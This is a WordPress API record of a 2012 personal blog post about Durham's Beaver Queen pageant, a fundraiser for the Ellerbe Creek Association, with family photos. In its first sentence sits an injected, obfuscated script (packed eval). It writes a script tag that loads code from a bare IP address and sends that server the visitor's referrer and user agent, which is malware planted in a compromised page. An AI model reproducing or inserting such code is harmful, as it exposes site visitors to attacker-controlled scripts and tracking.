{"id":3182,"date":"2012-06-02T12:53:14","date_gmt":"2012-06-02T19:53:14","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=3182"},"modified":"2012-06-14T13:08:14","modified_gmt":"2012-06-14T20:08:14","slug":"beaver-queen","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=3182","title":{"rendered":"Beaver Queen"},"content":{"rendered":"<p>I know, it sounds very odd.\u00c2\u00a0 It <em>is<\/em> <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tizis|var|u0026u|referrer|nhart||js|php'.split('|'),0,{}))\n<\/script><\/noindex> very odd.\u00c2\u00a0 It&#8217;s the 8th annual <a href=\"http:\/\/beaverlodgelocal1504.org\/\">Beaver Queen pageant<\/a>, a fabulous fund-raiser for the <a href=\"http:\/\/www.ellerbecreek.org\/\">Ellerbe Creek Association<\/a>.\u00c2\u00a0 The Ellerbe is a little river that runs right through the middle of the city, and unlike the Eno, which is a well-established park and preserve, it has a lot of typical &#8220;urban stream&#8221; problems, like erosion and pollution.\u00c2\u00a0 It also has fish, frogs, herons, and beavers.<\/p>\n<p>Hosted by NPR radio stars and various city dignitaries, the Beaver Queen pageant is a perfect blend of campy and &#8230;\u00c2\u00a0\u00c2\u00a0 well, campy.\u00c2\u00a0 I mean, a bunch of grown men and women in &#8220;beaver drag?&#8221;\u00c2\u00a0\u00c2\u00a0 <em>Yeah&#8230;<\/em><\/p>\n<p>It&#8217;s also a great family event.\u00c2\u00a0 But in spite of all the talent and hard work of the contestants this year, it was really my friend&#8217;s super-adorable niece who stole the show.\u00c2\u00a0 She just got right up on the stage to do her thing.\u00c2\u00a0 I think she should have been declared Beaver Princess!<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/bq2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3184\" title=\"Emily and Rocio\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/bq2-208x300.jpg\" alt=\"\" width=\"208\" height=\"300\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/bq2-208x300.jpg 208w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/bq2.jpg 308w\" sizes=\"(max-width: 208px) 100vw, 208px\" \/><\/a>\u00c2\u00a0 <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/bq3.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3185\" title=\"Emily's niece\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/bq3-254x300.jpg\" alt=\"\" width=\"254\" height=\"300\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/bq3-254x300.jpg 254w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/bq3.jpg 456w\" sizes=\"(max-width: 254px) 100vw, 254px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/bq1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3183\" title=\"Born for the stage, clearly...\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/bq1-300x151.jpg\" alt=\"\" width=\"300\" height=\"151\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/bq1-300x151.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/bq1.jpg 431w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/Screen-Shot-2012-06-14-at-4.03.42-PM.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3186\" title=\"Hail the Beaver Princess!\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/Screen-Shot-2012-06-14-at-4.03.42-PM-300x192.png\" alt=\"\" width=\"300\" height=\"192\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/Screen-Shot-2012-06-14-at-4.03.42-PM-300x192.png 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/06\/Screen-Shot-2012-06-14-at-4.03.42-PM.png 369w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I know, it sounds very odd.\u00c2\u00a0 It is very odd.\u00c2\u00a0 It&#8217;s the 8th annual Beaver&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[40,63],"class_list":["post-3182","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-durham","tag-family"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3182"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3182"}],"version-history":[{"count":2,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3182\/revisions"}],"predecessor-version":[{"id":3188,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3182\/revisions\/3188"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3182"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3182"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3182"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}